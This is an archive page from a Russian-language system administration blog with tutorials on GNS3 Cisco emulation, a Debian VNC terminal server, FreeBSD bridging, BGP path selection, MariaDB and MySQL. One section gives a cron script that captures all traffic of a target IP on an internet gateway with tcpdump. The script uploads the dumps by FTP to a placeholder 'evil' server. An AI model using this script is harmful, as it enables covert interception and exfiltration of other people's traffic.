Архив

Архив раздела ‘Администрирование’

Использование Dynamips и графической надстройки GNS3, для эмуляции сети Cisco. Часть 1.

10 Апрель 2012 Нет комментариев

Dynamips — программный эмулятор маршрутизаторов Cisco. Dynamips работает на большинстве *nix-системах, Mac OS X и Windows, при этом позволяет эмулировать аппаратную часть маршрутизаторов, непосредственно загружая и взаимодействуя с реальными образами Cisco IOS.
GNS3 удобный графический интрефейс к гипервизору Dynamips, посвозоляющий в наглядной форме создавать топологии сети и свзязи между маршрутизаторами, комутаторами, мостами и прочим сетевым оборудованием, виртуальными машинами Qemu, также позволяет эмулировать маршрутизаторы Juniper,  сетевые экраны Cisco ASA, PIX и перехватывать сетевой трафик между интерфейсами сети, посредством Wireshark. К сожалению эмулятор не способен эмулировать аппаратные Cisco ASIC, поэтому комутаторы Cisco Catalyst не доступны.

Применение

  • Подготовка к сдаче экзаменов по программам сертификации Cisco, например CCNACCNP и CCIE.
  • Тесты и эксперименты с различными версиями Cisco IOS.
  • Проверка конфигурации перед использованием на настоящем оборудовании.

Пример топологий сети, разработаных в GNS3:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Поддерживаемые платформы

  • 1700 (от 1710 до 1760)
  • 2600 (от 2610 до 2650XM)
  • 2691
  • 3600 (3620, 3640 и 3660)
  • 3725
  • 3745
  • 7200 (от NPE-100 до NPE-400)

Также поддерживается большое количество аппаратных модулей для интерфейсов типа EthernetSerialATM и других.

Приступим к настройке GNS3, для начала нужно привязать, образы операционной системы Cisco IOS(Interwork Operating System). Не путатйте с Apple iOS — операционая система,  для мобильных устройств Apple —  разработаная на ядре Darwin, предка микроядерной архитектуры Mach.

Приведу кусок конфига gns3.ini в котором к гипервизору уже привязаны самые последние IOS — взяты образы с максимальными возможными feature set advanced enterprice(скачать их будет можно по ссылке в конце статьи — обращаю ваше внимание это реальные проприетарные операционные системы и использование не для тестирования, а на реальном оборудовании — будет нарушением лицензии).

Для всех имеющихся архитектур маршрутизаторов используем последний выпуск IOS, который мне удалось достать. Обращаю ваще внимание, что практически все маршрутизаторы EOL(End Of Life), но все современные технологии, включая 32 битные AS и протокол IPv6 потдерживается, так-что у нас не будет никаких ограничений на использование новых технологий.

[IOS.images]
0\filename=/netlab/dynamipsios/c7200-adventerprisek9-mz.150-1.M5.bin
0\chassis=7200
0\platform=c7200
0\hypervisors=
0\default_ram=512
0\idlepc=0x632d2c20
0\default=true
2\filename=/netlab/dynamipsios/c1700-adventerprisek9-mz.124-19.bin
2\chassis=1760
2\platform=c1700
2\hypervisors=
2\default_ram=96
2\idlepc=0×80350038
2\default=true
3\filename=/netlab/dynamipsios/c2600-adventerprisek9-mz.124-15.T10.bin
3\chassis=2651XM
3\platform=c2600
3\hypervisors=
3\default_ram=128
3\idlepc=0×80280108
3\default=true
4\filename=/netlab/dynamipsios/c2691-adventerprisek9-mz.124-15.T14.bin
4\chassis=2691
4\platform=c2691
4\hypervisors=
4\default_ram=256
4\idlepc=0x60bd04d8
4\default=true
8\filename=/netlab/dynamipsios/c3660-jk9s-mz.124-6.XT2.bin
8\chassis=3660
8\platform=c3600
8\hypervisors=
8\default_ram=128
8\idlepc=0×60751134
8\default=false
10\filename=/netlab/dynamipsios/c3745-adventerprisek9-mz.124-25.bin
10\chassis=3745
10\platform=c3700
10\hypervisors=
10\default_ram=256
10\idlepc=0x612346e8
10\default=true

Хочу обратить ваше внимание на параметр idlepc=0x612346e8, маршрутизатор с неподобраным значением idlepc(а он для каждой машины, ios и платформы маршрутизатора будет свой), этот параметр нужен, что-бы эмулятор Dynamips не съедал 100% процессорного времени, при превом запуске эмулируемого маршрутизатора, после его загрузки и ответа на вопрос желаете ли вы сконфигурировать маршрутизатор в интерактивном режиме — отвечаем нет, IOS прогружается до рабочего состояния, нажимаем правую клавишу выбираем console.

Вы увидите нечто подобное:

Router>

Для перехода в режим суперюзера вызываем команду enable.

Router# — обозначает, что вы обладаете правами администратора на маршрутизаторе. Теперь самое время вычислить значение idle pc для вашей конфигурации, вызываем контесктное меню правой кнопкой по изображению маршрутизатора выбираем idle pc.

 

 

 

 

 

 

 

 

 

 

Все наш маршрутизатор готов к работе!
Список IOS,Feature Set и требования к оперативной памяти.
c1700-adventerprisek9-mz.124-19.bin — Release 12.4(19) — Platform 1760 — Feature Set/License — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash  128 / 32
c2600-adventerprisek9-mz.124-15.T10.bin — Release 12.4(15)T10 — Platform 2651XM — Feature Set/License — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash
256 / 48
c2691-adventerprisek9-mz.124-15.T14.bin — Release 12.4(15)T14 — Platform 2691 — Feature Set/License — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash   256 / 64
c3660-jk9s-mz.124-6.XT2.bin — Release 12.4(6)XT2 — Platform 3660 — Feature Set/License — ENTERPRISE PLUS IPSEC 3DES — DRAM / Min Flash 256 / 64
c3745-adventerprisek9-mz.124-25.bin — Release 12.4(25) — Platform 3745 — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash 256 / 64
c7200-adventerprisek9-mz.150-1.M5.bin — Release 15(1)M5 — Platform 7200 — ADVANCED ENTERPRISE SERVICES — DRAM / Min Flash 512 / 64

Ссылка для скачивания — DynamipsIOS

Настройка терминального сервера под Debian

Все нижеперечисленное относится к Debian 4.0 или 5.0
(про Debian 6 читайте ниже)

На самом деле установка и настройка непосредственно терминального сервера происходит до безобразия просто. Установим VNC сервер с помощью программы управления пакетами synaptic или с помощью команды:

apt-get install vnc4server

Терминальный VNC сервер установлен и его уже можно запускать командой vncserver. При этом VNC запрсит у Вас пароль для подключения клиентом. Учтите, что при логоне удалённым VNC вьювером, сервер даст вам рабочий стол пользователя, от имени которого был запущен vncserver. Помимо этого есть один неприятный, на первый взгляд, момент — Если к запущенному VNC серверу уже подключен один VNC вьювер, то при подключении второго вьювера на этот же порт — клиенты или начнут делить один и тот же сеанс или одного из клиентов просто «выбросит» из сессии, что нас конечно же не устраивает. Выхода из данной ситуации два:

1) Автоматом открыть N VNC-сессий (N=количеству ноебходимых клиентских подключений). При этом каждое подключение будет происходить на отдельный порт 5900 — 590N. Помимо этого, постоянно будут подгружены «неиспользумые» VNC сервера. Также не решается проблема с одновременным подключением нескольких вьюверов на один порт. Данный Вариант нас в корне не устраивает, т.к. нам надо получить работающую систему, максимально похожую на терминальный виндовый сервер для удобства пользователей.

2) Настроить супердемон inetd, чтобы при коннекте на порт 5900 происходил автоматический запуск VNC сервера. При этом все соединения слушаются на одном порту и количество VNC серверов не превышает количество необходимых в данный момент.

Таким образом, выбираем п.2 — правку inetd. В /etc/inetd.conf добавляем слелующую строку:

5900 stream tcp nowait my_user /usr/bin/Xvnc Xvnc -inetd -query localhost -once -depth 24 securitytypes=none

Параметр my_user заменяете на имя пользователя, от чьего имени будет запущен vncservsr. Параметр -query localhost говорит нашему vncserver-у, что авторизация будет происходить локально, используя gdm или xdm (в зависимости от того, что у Вас установлено). Помимо этого можно «поиграть» с настройками geometry, которые зададут разрешение сервера VNC. Все параметры можно увидеть, набрав в консоли Xvnc -h

Терминальный сервер настроен, осталось настроить gdm/xdm (в зависимости от того, что у Вас стоит) принимать запрсы по xdmcp

Если gdm:

Редактируем /etc/gdm/gdm.conf — добавляем

[xdmcp]
Enable=true

Если xdm:

По умолчанию, в целях безопасности, xdm запрещено слушать xdmcp, поэтому редактируем /etc/X11/xdm/xdm-config Находим строку DisplayManager.requestPort: 0 Перед ней ставим знак «!», т.о. получаем следующе

! SECURITY: do not listen for XDMCP or Chooser requests
! Comment out this line if you want to manage X terminals with xdm
! DisplayManager.requestPort: 0

Таким образом настройка gdm/xdm закончена.

После это рестартуем inetd, gdm/xdm и пробуем подключиться терминальным VNC клиентом. Благодаря тому, что VNC является открытым, существуют различные программные продукты под разные ОСи. Из-под Windows я пользовался VNC Enterprise Edition 4.4 released. Из под Debian – «родной» VNCVIEWER.

Естественно, что везде есть свои «подводные камни». В нашем случае они тоже имеются. Из замеченного — явно бросается в глаза невозможность «восстановиться» в отвалившуюся сессию. Т.е. если человек работал под своим логином, и у него отвалилась сеть, то при повторном логине он не получит окружение рабочего стола, которое было ДО отваливания. Это немного неудобно, но в конечном итоге не смертельно. По крайней мере не будет «мёртвых» сессий.

Как настроить терминальный сервер на Debian 6.0.»Squeeze»?

Debian 6.0. отличается от предыдущих версий (Debian 5.0 и Debian 4.0) тем, что при установке Debian 6.0:
1. по умолчанию устанавливается графическая оболочка Gnome 3, а не Gnome (как в Debian 4.0 и 5.0). Соответственно устанавливается пакет gdm3.
2. по умолчанию не устанавливается пакет openbsd-inetd, который в свою очередь содержит конфигурационный файл inetd.conf супер сервера inetd. Поэтому мы не находим его в каталоге etc.
Таким образом, чтобы настроить терминальный сервер на Debian 6.0. нужно:

Сначала, с помощью программы управления пакетами Synaptic (Система —> Администрирование —> программа управления пакетами Synaptic) или с помощью команды от имени суперпользователя
apt-get install vnc4server

установить VNC сервер (пакет vnc4server). После этого его можно будет запускать командой vncserver.

Затем, с помощью программы управления пакетами Synaptic (Система —> Администрирование —> программа управления пакетами Synaptic) или с помощью команды от имени суперпользователя
apt-get install gdm

установим пакет gdm. При установке пакета gdm автоматически удалится, установленный по умолчанию, пакет gdm3.

Теперь, аналогично установке пакетов vnc4server и gdm устанавливаем пакет openbsd-inetd, т.е. с помощью программы управления пакетами Synaptic (Система —> Администрирование —> программа управления пакетами Synaptic) или с помощью команды от имени суперпользователя
apt-get install openbsd-inetd

Чтобы при подключении на порт 5900 происходил автоматический запуск VNC сервера и при этом соединения на одном порту и количество VNC серверов не превышало количество необходимых в данный момент, надо настроить супер сервер inetd.
От имени супер пользователя (root) открыть (вызвать с помощью команды gedit) текстовый редактор. Открываем файл в etc/inetd.conf, добавляем следующую строку:
5900 stream tcp nowait my_user /usr/bin/Xvnc Xvnc -inetd -query localhost -once -depth 24 securitytypes=none

Параметр my_user заменяем на имя пользователя от чьего имени будет запущен vncserver.

Осталось настроить, установленный нами, gdm. Открываем файл в etc/gdm/gdm.conf и редактируем его. Добавляем

[xdmcp]
Enable=true
После всех изменений необходимо перезагрузить систему. Терминальный VNC сервер на Debian 6.0 настроен, теперь можно к нему подключиться терминальным VNC клиентом.

Установка бинарного репозитория во FreeBSD

5 Октябрь 2011 Нет комментариев

Бывают случаи, когда необходимо установить устаревший релиз FreeBSD, а порты собирать не хочеться.
Для этого существует команда pkg_add -r mc — например для установки файлового менеджера, но к сожалению старые бинарные репозитории удаляются с официальных зеркал. Но если мы знаем зеркало, где лежит нужный нам пакет указываем его через переменную окружения:
setenv PACKAGESITE http://ftp.ru.freebsd.org/FreeBSD/FreeBSD-Archive/ports/i386/packages-7.2-release/All/

Прозрачный bridge на базе FreeBSD

Для поддержки режима bridge пересобираем ядро с поддержкой драйвера:

device if_bridge

и опциями для фильтрации трафика (на базе ipfw):

options IPFIREWALL
options IPFIREWALL_DEFAULT_TO_ACCEPT

В файл /etc/sysctl.conf добавляем строки

net.link.bridge.ipfw=1
net.link.bridge.pfil_member=1
net.link.bridge.pfil_bridge=1
net.link.ether.ipfw=1
net.inet.ip.fw.enable=1

В файле /etc/rc.conf поднимаем сам мост (на двух физических интерфейсах em0 и em1):

cloned_interfaces=»bridge0″
ifconfig_bridge0=»addm em0 addm em1 up»
ifconfig_em0=»up»
ifconfig_em1=»up»
ifconfig_em2=»inet 192.168.1.2 netmask 255.255.255.0 up»
Для доступа по сети на интерфейс em2 назначен IP.

Перехват трафика на интернет шлюзе

Имеем порутаный интернет шлюз — задача перехватить весь трафик с ip адреса 2.2.2.2 и отправить раз в сутки в 4 утра к нам на сервер с парсером трафика.

Добавляем запуск нашего dumpscript в планировщик задач cron
vi /etc/crontab
0 4 * * * root /usr/dump/dumpscript
Теперь наш скрипт в 4 утра будет запускаться сливать дамп и перезапускать захват трафика.

#!/usr/local/bin/bash
set -x
cd /usr/dump

YEAR=`date +%Y`
MONTH=`date +%m`
DAY=`date +%d`
#Закачиваем сдампленый трафик на наш удаленый сервер для анализа трафика
echo mkdir $YEAR-$MONTH-$DAY | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo binary | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo put traff | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/$YEAR-$MONTH-$DAY/
#Убиваем процессы от предыдущего запуска
/usr/bin/killall screen
/usr/bin/killall tcpdump
/usr/local/bin/screen -d -m /usr/sbin/tcpdump -w traff -s 0 -i igb1 host 2.2.2.2 #Запускаем tcpdump в консольном оконном менеджере screen -d -m(создаем терминал и запускаем в нем процесс tcpdump по перехвату трафика с адреса 2.2.2.2 на интерфейсе igb1)

BGP — как происходит выбор наилучшего маршрута

19 Апрель 2011 Нет комментариев

BGP всегда выбирает один из маршрутов — как наилучший. Когда маршрут выбран, BGP помещает его в свою таблицу маршрутизации, и передает его своим neighbor’ам. Для выбора наилучшего маршрута BGP использует следующие критерии:

1. Если путь, указанный в поле next-hop, недоступен, этот update убивается.
2. Лучшим считается путь с наибольшим значением weight;
3. Если weight путей одинаковы, то выбирается путь с наибольшим lpref;
4. Если weight и lpref одинаковы, то выбирается путь, который появился в таблице маршрутов BGP на данном роутере. (подразумевается, что это будет самый наикратчайший путь);
5. Если нет путей, которые «родились» на данном роутере, то выбирается путь с AS_path минимальной длины;
6. Если все пути имеют одинаковую длину (одинаковое количество hop’ов, следовательно), выбирается путь с «lowest origin type». Считается, что IGP < EGP < Incomplete.;
7. Если Origin attr. code одинаковы для всех путей, выбирается путь с наименьшим MED attr.;
8. Если и MED одинаковы для всех возможных путей, предпочтительным считается external path перед internal path;
9. Если опять все пути одинаковы, то prefer the path through the closest IGP neighbor;
10. Выбирается путь с наименьшим IP адресом из тех, которые указываются by the BGP router ID.

MariaDB включаем поддержку XtraDB(Обратно совместимый движок с Innodb)

cd ./mariadb
./configure —with-plugins=max
Max обозначает что мы включаем все возможные движки — если есть желание их потестить.
На выходе получаем вывод скрипта configure:
Configuration summary for MariaDB Server version 5.2.4-MariaDB

* Archive Storage Engine: yes
* Aria Storage Engine: yes
* Blackhole Storage Engine: yes
* CSV Storage Engine: yes
* Cluster Storage Engine: no
* Collection of Authentication Plugins: plugin
* Daemon Example Plugin: plugin
* Example Storage Engine: plugin
* Federated Storage Engine: plugin
* FederatedX Storage Engine: yes
* Graph Storage Engine: no
* IBM DB2 for i Storage Engine: no
* InnoDB Storage Engine: plugin
* Memory Storage Engine: yes
* MyISAM MERGE Engine: yes
* MyISAM Storage Engine: yes
* PBXT Storage Engine: yes
* Partition Support: yes
* Simple Parser: plugin
* Sphinx Storage Engine: plugin
* XtraDB Storage Engine: yes

* Installation prefix: /usr/local
* System type: unknown-freebsd8.0
* Host CPU: i386
* C Compiler: gcc (GCC) 4.2.1 20070719 [FreeBSD]
* C++ Compiler: g++ (GCC) 4.2.1 20070719 [FreeBSD]
* Debug enabled: no
* Community Features: yes
Если хотим включить только XtraDB: ./configure —with-plugins=xtradb

Восстановление прошивки Cisco Catalyst

При неудачной прошивке свитча или сбоя флэш памяти, коммутатор не может найти образ IOS.
И при загрузке ругается:
Base ethernet MAC Address: 00:0b:be:54:1c:00
Xmodem file system is available.
The password-recovery mechanism is enabled.
Initializing Flash…
flashfs[0]: 8 files, 1 directories
flashfs[0]: 0 orphaned files, 0 orphaned directories
flashfs[0]: Total bytes: 15998976
flashfs[0]: Bytes used: 11776
flashfs[0]: Bytes available: 15987200
flashfs[0]: flashfs fsck took 18 seconds.
…done Initializing Flash.
Boot Sector Filesystem (bs:) installed, fsid: 3
Loading «c3560-advipservicesk9-mz.122-25.SEE4.bin»…c3560-advipservicesk9-mz.1d

Error loading «c3560-advipservicesk9-mz.122-25.SEE4.bin»

Interrupt within 5 seconds to abort boot process.
Boot process failed…

The system is unable to boot automatically. The BOOT
environment variable needs to be set to a bootable
image.

И вываливает в приглашение:

switch:

Смотрим содержимое флэш памяти:

switch: dir flash:
Directory of flash:/

2 -rwx 0 env_vars
3 -rwx 5 config.text.renamed
4 -rwx 5 private-config.text.renamed
5 -rwx 2072 multiple-fs
6 -rwx 676 vlan.dat
7 -rwx 46 system_env_vars
9 -rwx 1938 private-config.text
11 -rwx 2614 config.text

15987200 bytes available (11776 bytes used)

В данном случае образ IOS отсутсвует.
Значит будем загружать по протоколу xmodem.
В случае с Linux устанавливаем терминал minicom и набор програм для передачи по протоколам xmodem/ymodem пакет называется — lrzsz.

Скачиваем нужную нам прошивку в моем случае: c3550-ipservicesk9-mz.122-46.SE.bin

Даем команду: copy xmodem: flash:c3550-ipservicesk9-mz.122-46.SE.bin

в minicom нажимаем Ctrl + A + S выбираем тип протокола xmodem и ждем… ждем долго т.к. размер прошивки ~7мб, а скорость у нас 9600 бод.

switch: copy xmodem: flash:c3550-ipservicesk9-mz.122-46.SE.bin
Begin the Xmodem or Xmodem-1K transfer now…
C +————[xmodem upload - Press CTRL-C to quit]————+
|Sending c3550-ipservicesk9-mz.122-46.SE.bin, 75099 blocks: Gi|
|ve your local XMODEM receive command now. |
|Xmodem sectors/kbytes sent: 0/ 0kRetry 0: NAK on sector |
|Retry 0: NAK on sector |
|Retry 0: NAK on sector |
|Xmodem sectors/kbytes sent: 1/ 0kRetry 0: NAK on sector |
|Xmodem sectors/kbytes sent: 63/ 7k |
+————————————————————-+

Решение проблем с нарушением отображения букв «ш» и «И» в резултате неудачной перекодировки mysql

8 Декабрь 2009 Нет комментариев

Если в mysql принудительно указать кодировку cp1251, а потом выполнить смену кодировки базы на UTF-8, то вместо букв «ш» и «И» будут стоять вопросики.
Типичное проявление — бекап баз в кодировке UTF-8 с последующим их восстановлением или просто апдейт CMS, для которых родная кодировка — юникод. Например — WordPress, Drupal

Изучив Google, было найдено масса подобных проблем но все решение сводилось к удалению базы и заливки их резервной копии, что конечно не может быть решением.

Изучав особенности кодировки, я обратил внимание на то, что в mysql дампе буквы ш и И имели неверный код:
ш — 0xD13F
И — 0xD03F

В то время как верные коды для этих букв:
ш — 0xD188
И — 0xD098

Для интереса я проверил как отрабатывает на коды символов Perl в юникодной консоле:

perl -e ‘printf «%#x\n», ord(«И»);’
0xd0
perl -e ‘printf «%#x\n», ord(«ш»);’
0xd1

Таким образом данный сбой происходит из-за каких то нарушений в таблицах кодировок.

Исправить проблему очень просто, достаточно сделать дамп и выполнить две замены через Perl:

LC_ALL=C perl -pi -e «s|\xD1\x3F|\xD1\x88|g» dump.sql
LC_ALL=C perl -pi -e «s|\xD0\x3F|\xD0\x98|g» dump.sql

После чего залить исправленный дамп обратно в базу

Надеюсь, это сбережет многим массу времени и нервов.

Как добавить нового пользователя или БД в MySQL

5 Декабрь 2009 Нет комментариев
GRANT ALL PRIVILEGES ON БД.* TO пользователь@localhost IDENTIFIED BY 'пароль';
GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP PRIVILEGES ON БД.таблица TO
пользователь@'%.domain.ru' IDENTIFIED BY 'пароль';

или

insert into user (host,user,password)
values ('localhost','пользователь',password('pas'));

insert into db
(Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,
Drop_priv,Grant_priv,References_priv,Index_priv,Alter_priv)
values ('localhost','БД','пользователь','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');
flush privileges;

или воспользоваться скриптом mysql_setpermission